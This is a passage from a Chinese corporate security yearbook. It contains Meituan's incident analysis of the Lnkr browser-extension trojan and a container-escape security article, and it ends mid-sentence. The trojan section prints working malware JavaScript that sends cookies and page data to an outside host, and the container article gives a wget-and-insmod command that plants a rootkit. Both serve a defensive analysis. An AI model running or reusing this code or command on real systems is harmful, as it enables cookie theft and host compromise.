 ● 功：重新定义“定制和通用”。在现实中有些定制化需求其实是业务速度已经远

远领先于其它业务，所有需求看上去是定制化，实际上是未来可预见性的问题。

 ● 未：将业务需求进行分类，判断需求是针对主干流程还是分支节点。

 ● 看Gap：需求同当前建设情况比对差距。

对于系统模块升级功能，可逐个完成。对于非系统功能，可通过提供公共对接服务的

外挂来实现。

3.	特别需要“防呆”设计

人工操作会存在各类误操作引起的风险问题，在产品设计上，用户操作简洁的初衷是

好的，但需要增加防止错误发生的限制方法。在实践中这些“防呆”设置大大降低了

人工误操作 Case，例如：

 ● 业务高峰期封版—> 禁止业务高峰期时变更策略。

 ● 降低无逻辑验证的误伤情况 –> 策略上线前，强制标记验证执行是否符合业务

预期；修改生产上应用的策略，强制双跑验证修改后的逻辑执行是否符合业务

预期。

 ● 降低逻辑配置错误几率 –> 策略部署时强制测试逻辑正确性。

 ● 惯性操作 –> 验证数据结果强制回填等。

4.	产品功能最佳实践的意外惊喜

要承认一个事实就是，最了解功能使用的可能不是规则引擎的产品经理。在规则引擎

的建设中出现了这样的”惊喜”，例如：

1. 规则组功能建设初期目标是实现规则的高效管理、复用。在 A 业务场景基于

规则组除实现规则的高效管理、复用外，还实现了决策计算。但这种用法在

随着其业务的发展复杂度增加，已经不再利于策略高效管理，目前还在寻找

更优的解决方案。
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2. 累计因子的功能是将对多条请求进行计数或求和逻辑进行封装。B 业务基于

上述功能上还是实现了事件行为记录、多事件时序性累计和拦截行为的累计。

目前在其业务下广泛使用并有效地识别了跨事件风险。

总结而言，做好业务定期应用回访和应用监控是非常有必要的。

招聘信息
美团信息安全部正在招聘实习生，业务方向包括：安全 \ 后端开发 \ 机器学习算法 \ 自然语言处

理 \ 风控策略 \ 数据开发 \Web 前端 \ 测试开发 \ 产品经理 \ 产品运营 \ 安全与隐私合规等。工作

地点：北京 / 上海。欢迎感兴趣的同学发送简历至：tech@meituan.com（邮件标题注明：美团

信息安全团队）
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隐藏在浏览器背后的“黑手”

作者：陶琦

导读

本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对 Lnkr 木马进行分析，

此类木马影响范围较广，攻击手法多样，但国内目前相关的资料却非常稀少，希望本

文的实践经验和总结能对从事相关安全检测的同学有所帮助。

一、事件概述

2020 年 10 月，美团安全运营平台发现流量中存在恶意 JavaScript 请求，信息安全

部收到告警后立即开始应急处理，通过对网络环境、访问日志等进行排查，最终锁

定恶意请求由 Chrome 浏览器安装恶意插件引起，该恶意 JavaScript 文件会窃取

Cookie 并强制用户跳转到恶意色情站点、推广链接等，结合美团威胁情报大数据，

发现该插件与 Lnkr Ad Injector 木马特征吻合。

此类木马传播方式多样，会通过浏览器插件、Broken Link Hijacking 等方式在页面

中植入恶意代码，不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现，

多个国内大型互联网站点（Alexa 全球排名前 600）被感染，影响上亿网民的上网安

全，建议各大平台对自身系统第三方加载源以及内部终端设备进行检查，避免遭受此

类木马攻击。

二、溯源过程

2.1	安全运营平台发出异常告警

Chrome 沙箱监测到恶意 JavaScript 文件，发出异常告警：
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通过告警信息判断基本的攻击行为是：

1. 用户访问正常页面；

2. 页 面 加 载 外 部 JavaScript 文 件（A）：http://s3.amazonaws.com/js-stat-

ic/18ced489204f8ff908.js；

3. A 加载第二个 JavaScript 文件（B）：http://countsource.cool/18ced489204f8ff908.js；

4. B 包含恶意代码，向远程域名发送 Cookie 等敏感信息。

2.2	分析攻击路径

根据告警中涉及的触发页面、相关网络环境信息，排除流量劫持、XSS 攻击等情况，

猜测可能的原因为浏览器插件或恶意软件导致。

通 过 沙 箱 对 问 题 设 备 上 所 有 Chrome 插 件 进 行 分 析， 发 现 一 个 名 为 Vysor 的

Chrome 插件代码存在恶意行为，检测结果如下：

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",

http://s3.amazonaws.com/js-static/18ced489204f8ff908.js%EF%BC%9B
http://s3.amazonaws.com/js-static/18ced489204f8ff908.js%EF%BC%9B
http://countsource.cool/18ced489204f8ff908.js%EF%BC%9B
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            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}

可以看到插件代码创建了 script 标签，然后将 script 标签的 src 属性设置为 //

s3.amazonaws.com/js-static/18ced489204f8ff908.js。

2.3	插件恶意代码分析

为了进一步研究该组织木马的特征，我们对该恶意插件的代码进行了人工分析。恶意

插件的代码量较大，结构混乱，包含大量干扰代码。

首先恶意代码预先设置了许多无明显意义的字符串，用于构造 Payload。
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这些字符串通过下面方法的一系列转换最终构造出创建 script 标签的语句 docu-

ment[‘createElement’](‘script’)，doctype 即为创建出来的 script 对象。

接下来为 script 对象的 src 属性赋值，在 addHandler 方法中，cl 这个参数由 elem

传递过来，其中包含 src 字符串，通过 cl[0].split(‘>’).slice(2, 3) 拿到关键字 src，

tag 是上文的 doctype 变量也就是 script 对象，在构造 src 值这部分，可以看到在常

量中有一串一部分很像是 base64 的字符串：

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'
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恶意代码利用该字符串结合其他预设变量进行一系列转换，最终形成 base64 后的加

载 地 址 PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpY-

zwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM：

通过 createLinkPseudo 方法解 base64，经过 replace 后形成恶意地址 //s3.ama-

zonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js 的主要目的是加载下一

层的恶意 Javascript 文件（//countsource.cool/18ced489204f8ff908.js），代码

如下：

(function(){var a=document.createElement("script");a.src="//
countsource.cool/18ced489204f8ff908.js";(document.head||document.
documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js 文件内容为：

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
 
    function minAjax(config) {
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        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + 
encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof 
String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object 
Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + 
encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + 
encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
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            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.
readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, 
config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/
x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
 
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
 
        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }
 
                function e() {
                    o(),
                        parent.top.window.location.href = c
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                }
 
                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }
 
                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }
 
        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现恶意行为的代码，这部分代码没有经过混淆、加密，也没有加入其

他无意义的代码干扰分析，可以很清晰地看到其恶意行为：

1. 获取当前页面 Cookie，ck 参数；

2. 获取当前页面 Referrer；

3. 获取当前页面 Location；

4. 使用 XMLHttpRequest 将获取到的数据发送到 http://press.cdncontent-

delivery.com/f/stats.php；

5. 利用 onSuccessCallback 方法进行跳转。

http://press.cdncontentdelivery.com/f/stats.php%EF%BC%9B
http://press.cdncontentdelivery.com/f/stats.php%EF%BC%9B
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至此实现了将 Cookie 发送到远端接收地址，后续通过 onSuccessCallback 返回内

容完成跳转，完整流程：

2.4	通过已发现的 IoC深入排查

通过上述特征，发现大量与 Lnkr 木马相关的域名和插件，部分并未出现在已知的威

胁情报中，经进一步分析发现，移动终端设备也有触发恶意请求的情况。

除此之外我们也发现国内多个大型站点在自身引用资源上引入了 Lnkr 木马，用户如

果访问到这些站点，Cookie 信息会被直接发送到远端，存在极高的安全风险。针对

站点自身存在恶意资源的这类情况，极有可能是攻击者利用 Broken Link Hijacking

的攻击手法，对过期域名进行抢注，站点在访问原有资源时被劫持到恶意资源。

三、总结

3.1	恶意域名

以下列举了此次检测发现的恶意域名：

1. mirextpro.com
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2. browfileext.com

3. nextextlink.com

4. lisegreen.biz

5. makesure.biz

6. clipsold.com

7. comtakelink.xyz

8. protesidenext.com

9. promfflinkdev.com

10. rayanplug.xyz

11. countsource.cool

12. blancfox.com

13. skipush1.bbn.com.cn

14. donewrork.org

15. loungesrc.net

16. higedev.cool

17. s3.amazonaws.com/cashe-js/

18. s3.amazonaws.com/js-cache/

19. s3.amazonaws.com/jsfile/

20. s3.amazonaws.com/cashe-js/

21. cdngateway.net（接收 Cookie 域名）

22. sslproviders.net （接收 Cookie 域名）

23. cdncontentdelivery.com （接收 Cookie 域名）

3.2	恶意插件

排查到包含 Lnkr 木马特征的恶意插件：
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部分恶意插件截图：

四、复盘

Lnkr 木马所造成的危害有哪些？

Lnkr 木马的核心域名之一 cdngateway.net 在全球域名流量排名 8900 位，从流量

来源角度，通过外部网站跳转带来的流量占比总流量的 65.48%，可见其攻击范围极

广，受其影响的应用、用户数量也是非常庞大的。
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此类木马对外部用户和内部员工访问同时具有严重危害。

在外部用户方面，如果企业没有严格控制系统第三方资源加载，黑产利用 Broken 

Link Hijacking 的攻击手法，致使业务系统加载资源时被劫持植入恶意代码，将严重

影响用户体验、信息安全和企业形象。

从内部员工角度，传统杀软、EDR 等终端安全设备并不能很好地识别出此类恶意插

件，攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源，不仅仅可以

用于广告注入，相较于针对浏览器的其他攻击方式，可以达到更稳定，触发面更广

的敏感信息窃取、内网探测等，在 CSP 历史阻断的恶意请求中，我们也发现除窃取

Cookie 信息外，也存在恶意代码窃取页面文本信息的情况，这些文本信息在企业内

部平台中，极有可能包含大量用户，订单等敏感信息。

如何发现此类恶意木马植入？

针对恶意浏览器插件，在检测方面对其代码做静态分析成本比较大，触发恶意请求的

Payload 都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实

际意义的方法，在动态分析方面，由于 Chrome 插件代码会调用 Chrome 后台 API，

在常规沙箱环境中可能会出现无法调用 API 而中途报错退出。分析中还发现，很多恶

意行为需要触发特定事件才能进入到构造恶意 Payload 流程，如触发 chrome.tabs.

onUpdated 等。

对于浏览器插件安全，可以通过以下方式进行检测及防护：

 ● 禁止安装未在 Chrome 应用商店上线的插件（公司内部开发的插件除外）；

 ● 对插件 manfiest.json 文件进行轻量级的排查，manfiest.json 文件中申请权

限相对敏感，如 Cookie、tabs、webRequest 等等；

 ● 利用内容安全策略（CSP）对应用页面发起的请求进行拦截或监控，结合静态

与动态分析技术，判断 JavaScript 文件行为；

 ● 利用浏览器沙箱与 EDR，定期对浏览器插件进行扫描；

 ● 构建网络层的检测能力，发现有恶意请求及时应急处理。
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对于业务系统自身是否加载恶意资源方面：

 ● 严格控制系统加载的第三方资源；

 ● 通过内容安全策略（CSP）对页面触发的请求进行拦截或监控。

总结

黑产组织利用此类木马进行恶意引流、窃取用户信息等，给用户访问带来安全风险，

也危害到企业自身形象，在 HTTPS 场景下，虽然排除了链路上用户访问被劫持的风

险，但用户端访问环境安全性不定，为确保用户获取的信息可靠，没有被篡改，仍然

需要进一步加强防护。希望本文能给大家带来一些帮助或者启发。

关于美团信息安全部

招聘信息
目前美团安全团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系，急需

对研发安全感兴趣的同学加入！如果你正好有求职意向且满足以下岗位要求，欢迎投递简历至

sunny.fang@meituan.com（邮件主题请注明：研发安全专家 - 城市 - 美团 SRC）。



1076　>　美团 2020 技术年货

云原生之容器安全实践

作者：睿智

概述

云原生（Cloud Native）是一套技术体系和方法论，它由 2 个词组成，云（Cloud）和

原生（Native）。云（Cloud）表示应用程序位于云中，而不是传统的数据中心；原生

（Native）表示应用程序从设计之初即考虑到云的环境，原生为云而设计，在云上以最

佳状态运行，充分利用和发挥云平台的弹性和分布式优势。

云原生的代表技术包括容器、服务网格（Service Mesh）、微服务（Microservice）、

不可变基础设施和声明式 API。更多对于云原生的介绍请参考 CNCF/Foundation。

图 1　云原生安全技术沙盘（Security View）

笔者将“云原生安全”抽象成如上图所示的技术沙盘。自底向上看，底层从硬件安

全（可信环境）到宿主机安全 。将容器编排技术（Kubernetes 等）看作云上的“操

作系统”，它负责自动化部署、扩缩容、管理应用等。在它之上由微服务、Service 

Mesh、容器技术（Docker 等）、容器镜像（仓库）组成。它们之间相辅相成，以这些

技术为基础构建云原生安全。

https://github.com/cncf/foundation/blob/master/charter.md
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我 们 再 对 容 器 安 全 做 一 层 抽 象， 又 可 以 看 作 构 建 时 安 全（Build）、 部 署 时 安 全

（Deployment）、运行时安全（Runtime）。

在美团内部，镜像安全由容器镜像分析平台保障。它以规则引擎的形式运营监管容器

镜像，默认规则支持对镜像中 Dockerfile、可疑文件、敏感权限、敏感端口、基础软

件漏洞、业务软件漏洞以及 CIS 和 NIST 的最佳实践做检查，并提供风险趋势分析，

同时它确保部分构建时安全。

容器在云原生架构下由容器编排技术（例如 Kubernetes）负责部署，部署安全同时

也与上文提及的容器编排安全有交集。

运行安全管控交由 HIDS 负责（可参考《保障 IDC 安全：分布式 HIDS 集群架构设

计》一文）。本文所讨论的范畴也属于运行安全之一，主要解决以容器逃逸为模型构

建的风险（在本文中，若无特殊说明，容器指代 Docker）。

对于安全实施准则，我们将其分为三个阶段：

 ● 攻击前：裁剪攻击面，减少对外暴露的攻击面（本文涉及的场景关键词：隔离）；

 ● 攻击时：降低攻击成功率（本文涉及的场景关键词：加固）；

 ● 攻击后：减少攻击成功后攻击者所能获取的有价值的信息、数据以及增加留后

门的难度等。

近些年，数据中心的基础架构逐渐从传统的虚拟化（例如 KVM+QEMU 架构）转向容

器化（Kubernetes+Docker 架构），但“逃逸”始终都是企业要在这 2 种架构下所面

对的最严峻的安全问题，同时它也是容器风险中最具代表性的安全问题。笔者将以容

器逃逸为切入点，从攻击者角度（容器逃逸）到防御者角度（缓解容器逃逸）来阐述容

器安全的实践，从而缓解容器风险。

容器风险

容器提供了将应用程序的代码、配置、依赖项打包到单个对象的标准方法。容器建立

在两项关键技术之上：Linux Namespace 和 Linux Cgroups。

https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
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Namespace 创建一个近乎隔离的用户空间，并为应用程序提供系统资源（文件系

统、网络栈、进程和用户 ID）。Cgroup 强制限制硬件资源，如 CPU、内存、设备和

网络等。

容器和 VM 不同之处在于，VM 模拟硬件系统，每个 VM 都可以在独立环境中运行

OS。管理程序模拟 CPU、内存、存储、网络资源等，这些硬件可由多个 VM 共享

多次。

图 2　容器攻击面（Container Attack Surface）

容器一共有 7 个攻击面：Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、

Libs、Language VM、User Code、Container(Docker) engine。

笔者以容器逃逸为风险模型，提炼出 3 个攻击面：

1. Linux 内核漏洞；

2. 容器自身；

3. 不安全部署（配置）。
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1.	Linux 内核漏洞

容器的内核与宿主内核共享，使用 Namespace 与 Cgroups 这两项技术，使容器内

的资源与宿主机隔离，所以 Linux 内核产生的漏洞能导致容器逃逸。

内核提权VS容器逃逸

通用Linux 内核提权方法论

 ● 信息收集：收集一切对写 exploit 有帮助的信息。 如：内核版本，需要确定

攻击的内核是什么版本？ 这个内核版本开启了哪些加固配置？ 还需知道在写

shellcode 的时候会调用哪些内核函数？这时候就需要查询内核符号表，得到函

数地址。 还可从内核中得到一些对编写利用有帮助的地址信息、结构信息等等。

 ● 触发阶段：触发相关漏洞，控制 RIP，劫持内核代码路径，简而言之，获取在

内核中任意执行代码的能力。

 ● 布置 shellcode：在编写内核 exploit 代码的时候，需要找到一块内存来存放我

们的 shellcode 。 这块内存至少得满足两个条件：

 ○ 第一：在触发漏洞时，我们要劫持代码路径，必须保证代码路径可以到达存

放 shellcode 的内存。

 ○ 第二：这块内存是可以被执行的，换句话说，存放 shellcode 的这块内存具

有可执行权限。

 ● 执行阶段

 ○ 第一：获取高于当前用户的权限，一般我们都是直接获取 root 权限，毕竟它

是 Linux 中的最高权限，也就是执行我们的 shellcode。

 ○ 第二：保证内核稳定，不能因为我们需要提权而破坏原来内核的代码路径、

内核结构、内核数据等等，而导致内核崩溃。这样的话，即使得到 root 权限

也没有太大的意义。

简而言之，收集对编写 exploit 有帮助的信息，然后触发漏洞去执行特权代码，达到

提权的效果。
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图 3　容器逃逸简易模型（Container Escape Model）

容器逃逸和内核提权只有细微的差别，需要突破 namespace 的限制。将高权限的

namespace 赋到 exploit 进程的 task_struct 中。这部分的详细技术细节不在本文

讨论范围内，笔者未来会抽空再写一篇关于容器逃逸的技术文章，详细介绍该相关技

术的细节。

经典的Dirty	CoW

笔者以 Dirty CoW 漏洞来说明 Linux 漏洞导致的容器逃逸。漏洞虽老，奈何太过经

典。写到这，笔者不禁想问：多年过去，目前国内外各大厂，Dirty Cow 漏洞的存量

机器修复率是多少？

在 Linux 内核的内存子系统处理私有只读内存映射的写时复制（Copy-on-Write，

CoW）机制的方式中发现了一个竞争冲突。一个没有特权的本地用户，可能会利用此

漏洞获得对其他情况下只读内存映射的写访问权限，从而增加他们在系统上的特权，

这就是知名的 Dirty CoW 漏洞。
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Dirty CoW 漏洞的逃逸的实现思路和上述的思路不太一样，采取 Overwrite vDSO

技术。

vDSO（Virtual Dynamic Shared Object）是内核为了减少内核与用户空间频繁

切换，提高系统调用效率而设计的机制。它同时映射在内核空间以及每一个进程的

虚拟内存中，包括那些以 root 权限运行的进程。通过调用那些不需要上下文切换

（context switching）的系统调用可以加快这一步骤（定位 vDSO）。vDSO 在用户空

间（userspace）映射为 R/X，而在内核空间（kernelspace）则为 R/W。这允许我

们在内核空间修改它，接着在用户空间执行。又因为容器与宿主机内核共享，所以可

以直接使用这项技术逃逸容器。

利用步骤如下：

1. 获取 vDSO 地址，在新版的 glibc 中可以直接调用 getauxval() 函数获取；

2. 通过 vDSO 地址找到 clock_gettime() 函数地址，检查是否可以 hijack；

3. 创建监听 socket；

4. 触发漏洞，Dirty CoW 是由于内核内存管理系统实现 CoW 时产生的漏

洞。通过条件竞争，把握好在恰当的时机，利用 CoW 的特性可以将文件的

read-only 映射该为 write。子进程不停地检查是否成功写入。父进程创建二

个线程，ptrace_thread 线程向 vDSO 写入 shellcode。madvise_thread

线程释放 vDSO 映射空间，影响 ptrace_thread 线程 CoW 的过程，产生条

件竞争，当条件触发就能写入成功。

5. 执行 shellcode，等待从宿主机返回 root shell，成功后恢复 vDSO 原始

数据。

2.	容器自身

我们先简单的看一下 Docker 的架构图：
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图 4　Docker 架构图

Docker 本身由 Docker（Docker Client）和 Dockerd（Docker Daemon）组成。但

从 Docker 1.11 开始，Docker 不再是简单的通过 Docker Dameon 来启动，而是

集成许多组件，包括 containerd、runc 等等。

Docker Client 是 Docker 的客户端程序，用于将用户请求发送给 Dockerd。Dock-

erd 实际调用的是 containerd 的 API 接口，containerd 是 Dockerd 和 runc 之间的

一个中间交流组件，主要负责容器运行、镜像管理等。containerd 向上为 Dockerd

提供了 gRPC 接口，使得 Dockerd 屏蔽下面的结构变化，确保原有接口向下兼容；

向下，通过 containerd-shim 与 runc 结合创建及运行容器。更多的相关内容，请

参考文末链接 runc、containerd、architecture。了解清楚这些之后，我们就可以

结合自身的安全经验，从这些组件相互间的通信方式、依赖关系等寻找能导致逃逸

的漏洞。

下面我们以 Docker 中的 runc 组件所产生的漏洞来说明因容器自身的漏洞而导致的

逃逸。

https://github.com/opencontainers/runc
https://github.com/containerd/containerd
https://github.com/docker-archive/containerd/blob/master/design/architecture.md
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CVE-2019-5736：runc	-	container	breakout	vulnerability

runc 在使用文件系统描述符时存在漏洞，该漏洞可导致特权容器被利用，造成容器

逃逸以及访问宿主机文件系统；攻击者也可以使用恶意镜像，或修改运行中的容器内

的配置来利用此漏洞。

 ● 攻击方式 1：（该途径需要特权容器）运行中的容器被入侵，系统文件被恶意篡

改 ==> 宿主机运行 docker exec 命令，在该容器中创建新进程 ==> 宿主机

runc 被替换为恶意程序 ==> 宿主机执行 docker run/exec 命令时触发执行恶

意程序；

 ● 攻击方式 2：（该途径无需特权容器）docker run 命令启动了被恶意修改的镜像 

==> 宿主机 runc 被替换为恶意程序 ==> 宿主机运行 docker run/exec 命令

时触发执行恶意程序。

当 runc 在容器内执行新的程序时，攻击者可以欺骗它执行恶意程序。通过使用自定

义二进制文件替换容器内的目标二进制文件来实现指回 runc 二进制文件。

如果目标二进制文件是 /bin/bash，可以用指定解释器的可执行脚本替换 #!/proc/

self/exe。因此，在容器内执行 /bin/bash，/proc/self/exe 的目标将被执行，将目标

指向 runc 二进制文件。

然后攻击者可以继续写入 /proc/self/exe 目标，尝试覆盖主机上的 runc 二进制文

件。 这 里 需 要 使 用 O_PATH flag 打 开 /proc/self/exe 文 件 描 述 符， 然 后 以 O_

WRONLY flag 通过 /proc/self/fd/ 重新打开二进制文件，并且用单独的一个进程不

停地写入。当写入成功时，runc 会退出。

3.	不安全部署（配置）

在实际中，我们经常会遇到这种状况：不同的业务会根据自身业务需求提供一套自己

的配置，而这套配置并未得到有效的管控审计，使得内部环境变得复杂多样，无形之

中又增加了很多风险点。最常见的包括：
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 ● 特权容器或者以 root 权限运行容器；

 ● 不合理的 Capability 配置（权限过大的 Capability）。

面对特权容器，在容器内简单地执行一下命令，就可以轻松地在宿主机上留下后门：

$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko

目前在美团内部，我们已经有效地收敛了特权容器问题。

这 部 分 业 界 已 经 给 出 了 最 佳 实 践， 从 宿 主 机 配 置、Dockerd 配 置、 容 器 镜 像、

Dockerfile、容器运行时等方面保障了安全，更多细节请参考 Benchmark/Docker。

同时 Docker 官方已经将其实现成自动化工具（gVisor）。

安全实践

为解决上述部分所阐述的容器逃逸问题，下文将重点从隔离（安全容器）与加固（安全

内核）两个角度来进行讨论。

安全容器

安全容器的技术本质就是隔离。gVisor 和 Kata Container 是比较具有代表性的实现

方式，目前学术界也在探索基于 Intel SGX 的安全容器。

简单地说，gVisor 是在用户态和内核态之间抽象出一层，封装成 API，有点像

user-mode kernel，以此实现隔离。Kata Container 采用了轻量级的虚拟机隔离，

与传统的 VM 比较类似，但是它实现了无缝集成当前的 Kubernetes 加 Docker 架

构。我们接着来看 gVisor 与 Kata Container 的异同。

Case	1:	gVisor

gVisor 是用 Golang 编写的用户态内核，或者说是沙箱技术，它主要实现了大部分

的 system call。它运行在应用程序和内核之间，为它们提供隔离。gVisor 被使用在

Google 云计算平台的 App Engine、Cloud Functions 和 Cloud ML 中。gVisor 运

https://www.cisecurity.org/benchmark/docker/
https://gvisor.dev/docs/
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行时，是由多个沙箱组成，这些沙箱进程共同覆盖了一个或多个容器。通过拦截从应

用程序到主机内核的所有系统调用，并使用用户空间中的 Sentry 处理它们，gVisor

充当 guest kernel 的角色，且无需通过虚拟化硬件转换，可以将它看做 vmm 与

guest kernel 的集合，或是 seccomp 的增强版。

图 5　gVisor 架构图（来自 gVisor)

Case	2:	Kata	Container

Kata Container 的 Container Runtime 是 用 hypervisor ， 然 后 用 hardware 

virtualization 实现，如同虚拟机。所以每一个像这样的 Kata Container 的 Pod，都

是一个轻量级虚拟机，它拥有完整的 Linux 内核。所以 Kata Container 与 VM 一样

能提供强隔离性，但由于它的优化和性能设计，同时也拥有与容器相媲美的敏捷性。

图 6　Kata Container 架构图（图片来自 Katacontainers.io）
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Kata Container 在主机上有一个 kata-runtime 来启动和配置新容器。对于 Kata 

VM 中的每个容器，主机上都有相应的 Kata Shim。 Kata Shim 接收来自客户端

的 API 请求（例如 Docker 或 kubectl），并通过 VSock 将请求转发给 Kata VM 内

的代理。 Kata 容器进一步优化以减少 VM 启动时间。 使用 QEMU 的轻量级版本

NEMU，删除了约 80％的设备和包。 VM-Templating 创建运行 Kata VM 实例的

克隆，并与其他新创建的 Kata VM 共享，这样减少了启动时间和 Guest VM 内存

消耗。 Hotplug 功能允许 VM 使用最少的资源（例如 CPU、内存、virtio 块）进行引

导，并在以后请求时添加其他资源。

gVisor	VS	Kata	Container

在两者之间，笔者更愿选择 gVisor，因为 gVisor 设计上比 Kata Container 更加的

“轻”量级，但 gVisor 的性能问题始终是一道暂时无法逾越的“天堑”。综合二者的

优劣，Kata Container 目前更适合企业内部。总体而言，安全容器技术还需做诸多

探索，以解决不同企业内部基础架构上面临的各种挑战。

安全内核

众所周知，Android 由于其开源特性，不同厂商都维护着自己的 Android 版本。因为
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Android 内核态代码来自于 Linux kernel upstrem，当一个漏洞产生在 upstrem 内

核，安全补丁推送到 Google，再从 Google 下发到各大厂商，最终到终端用户。由

于 Android 生态的碎片化，补丁周期非常之长，使得终端用户的安全，在这过程中始

终处于“空窗期”。当我们把目光重新焦距在 Linux 上，它也同样存在类似的问题。

内核面临的问题

图 7　漏洞生命周期（The Vulnerability Life Cycle）

内核补丁

当一个安全漏洞被披露，通常是由漏洞发现者通过 Redhat、OpenSuse、Debian

等社区反馈或直接提交至上游相关子系统 maintainer。在企业内部面临多个不同内

核大版本、内核定制化，针对不同版本从上游代码 backport 相关补丁及制作相关热

补丁，定制内核还需对补丁进行二次开发，再升级生产环境内核或 Hotfix 内核。不仅

修复周期过长，而且在修复过程中，人员沟通也存在一定的成本，也拉长了漏洞危险

期。在危险期间，我们对于漏洞基本是毫无防护能力的。

内核版本碎片化

内核版本碎片化在任意具备一定规模的公司都是无法避免的问题。随着技术的日新月

异，不断迭代，基础架构上的技术栈需要较新版本的内核功能去支持，久而久之就产

生内核版本的碎片化。碎片化问题的存在，使得在安全补丁的推送方面，遭遇了很大

的挑战。本身补丁还需要做针对性的适配，包括不同版本的内核，并进行测试验证，
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碎片化使得维护成本也变得十分高昂。最重要的是，由于维护工作量大，必然拉长了

测试补丁的时间线。也就是说，暴露在攻击者面前的危险期变得更长，被攻击的可能

性也大大增加。

内核版本定制化

同样，因不同公司的基础架构不同、需求不同，导致的定制化内核问题。对于定制化

内核，无法简单的通过从上游内核合并补丁，还需对补丁做一些本地化来适配定制化

内核。这又拉长了危险期。

解决之道

我们使用安全特性去针对某一类漏洞或是针对某一类利用方式做防御与检测。比如

SLAB_FREELIST_HARDENED，针对 Double Free 类型漏洞做实时检测，且防

御 overwrite freelist 链表，性能损耗仅 0.07%（参考 upstrem 内核源码，commit 

id: 2482ddec）。当完成所有全部的安全特性，漏洞在被反馈之前和漏洞补丁被及时

推送至生产环境前，都无需关心漏洞的细节，就能防御。当然，安全补丁该打还是得

打，这里我们主要解决在安全补丁最终落在生产环境过程中，“空窗期”对于漏洞与

利用毫无防御能力的问题，同时也可以对 0day 有一定的检测及防御能力。

实施策略

1. 已经合并进 Linux 主线版本的安全特性，如果公司的内核支持该特性，选择

开启配置，对开启前后内核做性能测试，分析安全特性原理、行业数据，给

出 Real World 攻击案例（自己写 exploit 去证明），将报告结论反馈给内核团

队。内核团队再做评估，结合安全团队与内核团队双方意见，最终评估落地。

2. 已经合并进 Linux 主线版本但未被合并进 Redhat 的安全特性，可选择从

